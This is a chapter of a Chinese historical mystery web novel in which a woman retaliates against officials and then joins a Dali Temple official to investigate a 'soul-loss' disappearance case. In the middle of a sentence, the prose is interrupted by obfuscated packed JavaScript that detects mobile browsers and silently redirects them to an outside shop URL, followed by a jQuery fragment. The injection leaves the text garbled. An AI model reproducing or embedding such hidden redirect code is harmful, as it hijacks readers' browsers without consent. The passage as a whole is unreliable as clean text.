当天晚上,巷子里的闷响持续良久,路过的人一个接一个地被麻袋套进去。 这些人本来以为自己只是倒霉,碰上个在大理寺门前就敢殴打官人的不要命的猖狂之徒,但……直到第二日,他们怀带着一肚子憋屈去上值的那一刻。 众人你看看我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14315363|151292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸上的淤青,我看看你一瘸一拐的狼狈,几乎是瞬间便明白了这事儿的始作俑者是谁。 只是知道归知道,是他们有错在先,即便把事情上报,也得不到什么好处。顶多两败俱伤罢了。 于是,这事儿就这么被揭过去,沈付雪这边也清净了不少。 书房内。 猜出事情始末的阿泽默默给沈付雪竖了个大拇指。 一旁的景凭生似笑非笑地望着她:“还在我的眼皮子底下就做这种事,云娘子……不太好吧?” 话是这么说,但他语气里全然没有责怪,反倒有种看戏的意味。 闻言,沈付雪轻哼一声,笑道:“大人此言,可有证据?身为大理寺少卿,大人应该更知道何为诽谤吧?” 调笑的话被不轻不重地堵了回来,景凭生盯着她,眼中笑意更浓。 “对了。” 景凭生轻咳一声,稍稍严肃起脸色,说起正事:“近来在京城里传得沸沸扬扬的‘失魂案’,你可有听说?” 沈付雪点头。 失魂案是新年将过便出现的一桩离奇案件,至今已出现十几名受害者。 据说每位受害者都是在夜晚八点准时消失,无论是在街上在家里,甚至在你的眼皮子底下,只要是被盯上的人,没有一个能躲掉。 而这些失踪的人,又会在第二天的晚上八点准时回来……只是回来的受害者已然失去神智,像个行尸走肉般,呼叫不应。 故而此案被称为“失魂案”。 因久久未能捉到幕后凶手,此案在今早被移交到了大理寺来,景凭生作为少卿,本不必亲自审理此案件,但…… “此案……有种熟悉的气息啊。” 一旁的阿泽喃喃出口。 正如他所说,景凭生和沈付雪也是此般想法。 这个失魂案,说到底也是人口失踪案件,若是他们先前的推测无误,那拐卖案的突破口,兴许就在这儿了。 正想着,景凭生开口:“我已向大理寺卿上报两个案件的关联,此案已经移交给我处理,云娘子,也一起吧。” 沈付雪点头。 先不说她确实想查出这个幕后真凶,就单说她想要接近元淮毅一事,便是需要契机的。 而这个失魂案……她有预感,等侦破这个案子,兴许就离她的目标不远了。 思绪渐渐远走,等再回过神来时,便见景凭生站在她眼前,无声地盯着她看。 心脏倏地一跳。 沈付雪皱眉,语气里不自觉地带了些不满:“少卿大人这是做甚?” 景凭生:“我……” 话刚出口,却被忽然跳出来的阿泽打断:“云娘子莫要生气,我家大人是因为刚喊你好几声你都没反应,担心你,这才过来找你的。” 生怕两人一言不合就吵起来,阿泽连忙跟沈付雪说好话。 但…… 被抢了解释权的景凭生扭头,神色淡淡地看阿泽一眼。 只是对上他那双稍显清澈的眼神时,景凭生无声叹口气,又扭过头去看沈付雪,道:“走罢,一同去街上转转,兴许能发现什么疏漏之处。”